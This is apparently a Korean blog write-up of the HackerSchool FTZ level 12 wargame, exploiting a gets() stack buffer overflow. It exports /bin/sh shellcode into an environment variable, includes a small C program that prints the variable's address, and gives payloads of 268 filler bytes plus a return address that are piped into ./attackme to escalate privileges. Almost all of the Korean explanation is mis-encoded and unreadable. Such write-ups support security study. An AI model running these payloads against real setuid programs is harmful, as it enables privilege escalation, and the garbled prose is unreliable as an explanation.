keyworld : gets buffer Overflow
level12 - WriteUp
์ ์ฝ๋๋ฅผ ํ์ธํด๋ณด์๋ฉด gets()๋ผ๋ ์
๋ ฅ๋ฐ๋ ๋ถ๋ถ์ด ์ด๋๊น์ง ์
๋ ฅ๋ฐ๋์ง ์์ ๋์ง ์์๊ธฐ์ ์ทจ์ฝํจ!
์ฐธ๊ณ ๋ก ์์ ํ ๋ฐฉ์์ gets_s๊ฐ ์๊ฒ ์ฃ .
์คํํ ์ ์๊ณ ๋ถ์ํ ์ ์๊ฒ tmp๋ก ์ฎ๊ฒจ์ ์คํํ์ง์
์ ๋ฐฉ์์ผ๋ก ํ์๋ฉด ๋ณดํต ์ ๋ intel ๋ฐฉ์์ผ๋ก ์ฌ์ฉํ๊ธฐ์ ๋ณด๊ธฐ ๋ถํธํ ์ ์๊ธฐ์
๋ณ๊ฒฝํ๋ ๋ฐฉ์๋ ์๋๊ฑฐ ๊ฐ์๋ฐ ๊ทธ๋ฅ ์ ๋ถํฐ ์ด๋ ๊ฒ ํ์ผ๋๊น ๊ทธ๋ฅ ํ ๊ป์
์ฒซ๋ฒ์งธ ๋ฐฉ์์ผ๋ก๋ ๋ฉ๋ชจ๋ฆฌ์ ํ ๋น๋ stack์ ํฌ๊ธฐ๋ฅผ ์ ์ ์์ผ๋ฉฐ, 0x108(264)๋ก ํ์ธ ๋๋ฉฐ,
๋๋ฒ์งธ๋ gets์ ํ์์ด ์๊ธฐ ์ ์ str๋ก ์
๋ ฅ๋ฐ์ ํ์์ด ์ธ์๋ก ๋ฃ์ด์ง๋๋ฐ gets์ ํ์์ ์ธ์์ ๋ง๊ฒ ๋ฃ๊ธฐ์
ํ์ธํด๋ณด๋ฉด, 0xff.. ์ค์ ๊ฐ์ด๋ผ๊ธฐ์ ๋ง์ด ์๋์ฃ ์ฆ, 2์ ๋ณด์๋ฒ์ผ๋ก ํ์ด์ ํ์ธํด๋ณด์๋ฉด.. 0x108(264)
์์ ๊ฐ์ด ๋ค์ํ ๋ฐฉ์์ผ๋ก ebp+0x108์์ ํ์ธํ๋ ๋ฐฉ์์ ๋ฌผ๋ก ๋ ์๊ฒ ์ง๋ง ์ด์ ๋๋ก ํ ๊น์?
๊ทธ๋ผ ํด๋น gets์ ์
๋ ฅํ๋ฉด ์ด๋์ esp๊ฐ ์กํ๋์ง ์์๋ด์ผ๊ฒ ์ฃ ์ฐธ๊ณ ๋ก ๊ณต๊ฒฉ๊ธฐ๋ฒ์ RTL๋ก ํ ๊ป์
์์ ๊ฐ์ด ๋ธํฌ๋ฅผ ์ก๊ณ (์ถ๋ ฅ ํ์ธํ ๋ ค๊ณ ์์ ๊ฐ์ด ์ก์์ด์ ์ด๋ ์ก๋ ํฐ ๋ฌธ์ ๋ ์๊ฒ ๋ค๋ง.. ์๋ง๋?)
์์ ๊ฐ์ด esp๊ฐ 0xbfffe140์ผ๋ก ์กํ ๋ชจ์ต
์ฆ, gets()์ ์์๊ฐ์ 0xbfffe140 ๋ํ ๋๋๋ ์ง๊ธ์ 0xbfffe268+ 0xc(12)๋ก ํฌ๊ธฐ๋ ์๋ง์ฃ
์ฆ, gets์ ์์ ์ฃผ์์ธ 0xbfffe140 ์ ์ด๊ณผํ๋ฉด ํด๋น ์์ญ์ ๊ฑด๋๋ฆฐ๋ค๋ ์ฌ์ค๋!
RTL(์ธ๋ถ ์ธ์ ํ์ฉ) - ํ์ด ๋ฐฉ์
์ ๋ฐฉ์์ ๋ค๋ค ์์ค๊ฑฐ์์ ๊ทธ์ level11์์ ๋ง์ด ํ ๋ถ๋ถ์ด๋๊น ๋น ๋ฅด๊ฒ ์ค์ ํด๋ด
์๋ค.
1 export Shellcode=$(python -c 'print("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80")')cs
env์ ๋ฃ์ ์ธ์๋ก ์ฐ๋ฆฌ๊ฐ ๊ทธ๋ฅ ๊ตฌ๊ธ๋งํด์ ์ป์ ์์ฝ๋๋ฅผ ๋ฃ์ด์ค์๋ค
์์ฝ๋๋ฅผ ๋ง๋ค์ด์ ํ๊ณ ์ถ๋ค(์ฌ๋ฌ๊ฐ์ง ์ํฉ์ ๋ฐ๋ผ ๋ ํ๋ค๊ฒ ๋ค๋ง..) ๊ทธ๋ผ ์๋ ๋งํฌ๋ก ใฑใฑ
๊ทธ๋ฆฌ๊ณ ํด๋น ์์น์ ๊ฒฝ๋ก๋ฅผ ์๊ธฐ ์ํ์ฌ ์ง C์ฝ๋
123456789 #include <stdio.h>#include <stdlib.h>int main(){char *pathvar;pathvar = getenv("Shellcode");printf("pathvar addr : %p", pathvar);}cs
์ฌ๊ธฐ์ ๋ญ.. ์์น๊ฐ ๋์ด๋์ดํ๊ฒ ๋ค์ด๊ฐ๋ค์;;
๊ทธ๋ผ shellcode ์ฃผ์๋ ์๊ณ ํด๋น bof์ ๋ฃ์ ๊ฐ๋ ์์์ผ๋๊น payload์ ์๋๋ฆฌ์ค๋..
dummy*264 + ebp(4) + shellcode addr
level11์์ ํ๋ RTL์ด๋ ๋ค๋ฅด์ฃ ? ๋ค์ํ๊ฒ ํด๋ด์ผ์ฃ ใ
๊ทธ๋ผ ํด๋น ์ฝ๋๋ฅผ ์ง์๋ฉด...
Exploit code
./attackme `python -c 'print("A"*268 + "\x20\xfc\xff\xbf")'`
์๋ง ์ด๋ฐ ์์ผ๋ก ์๋ ๊ฑฐ์์ ๋ญ, ์ ๋ ฅ๋ฐ๋ ํ์์ด ๋ฌ๋ผ์๊ฒ ์ฃ ?
ayload ์์ฑ ๋ฐฉ๋ฒ์๋ argv์ stdin ๋ฐฉ๋ฒ ๋ ๊ฐ์ง๊ฐ ์กด์ฌํฉ๋๋ค
level11์์๋ "์ธ์"๋ก str ๋ณ์์ ๋ฃ์ด์ [์คํํ์ผ์ฃผ์ `python -c 'print ~~~'`] ๊ตฌ์กฐ ํ์
level12์์๋ "stdin"์ผ๋ก ์คํํ์ผ์ด ์์๋๊ณ ๋์ ์
๋ ฅ [(python -c 'print ~~~';cat) | ์คํํ์ผ์ฃผ์]์ด์ฃ
๊ทผ๋ฐ ์๊พธ ์ด๊ฑด ํด๋น ํด๋ ์์น์ ๋ฐ๋ผ ์ฃผ์๊ฐ ์๊พธ ๋ฐ๋๋ค์ ๋นก์น๊ฒ
์จ๋ ์ ๋ ์ ๋ฐ ๋ฐฉ์์ด ์๋๋..? FSB๋๋ ๊ทธ๋ฌ๋๋ฐ.. ์ ์ด๋ด๊น์? ์์ ๋ค๋ฉด ์๋ ค์ฃผ์ธ์ ใ
์ด๋ป๊ฒ ๋ค์ ์๋ ํด๋ณด๋๊น ์ด๋ฒ์ ์ผ์ถ๋๋ค์ ์๊ฐํด๋ดค๋๋ฐ
๋ง๊ฒ ๋ฃ์๋ ค๋ฉด.. ์ ํฌ์ ์ฝ๊ธฐ ์ฐ๊ธฐ ๊ถํ์ด ์กด์ฌํ๋ tmpํ์ผ์ ์์น์์ ํ์ธํด์ ์ฌ์ฉํ๋๊ฒ์ด
RTL์ฒ๋ผ ํด๋น env์ ์ ์ฌ๋ ํ๊ฒฝ์ ์์น์ ๋ง๊ฒ ์ ์ฌ๋ ์ฃผ์์ ๊ฐ์ผ๋ก ์ ์ํด์ผํ๋ ๊ฑฐ ๊ฐ๋ค์
(python -c 'print "\x90"*268 + "\x12\xfc\xff\xbf"';cat) | ./attackme
์ ์ด๋ฏธ์ง๋ฅผ ํ์ธํด๋ณด์๋ฉด level13์ ๊ถํ์ ํผ๋ฃกํ๊ฒ ํ๋ํ ๋ชจ์ต!
level13 : have no clue
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง
'๐โSystem_Study > ๐โHackerSchool_FTZ' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
HackerSchool_level11 (2) | 2022.08.11 |
---|---|
HackerSchool_level10 (0) | 2022.08.10 |
HackerSchool_level9 (2) | 2022.07.11 |
HackerSchool_level8 (0) | 2022.07.06 |
HackerSchool_level7 (0) | 2022.07.05 |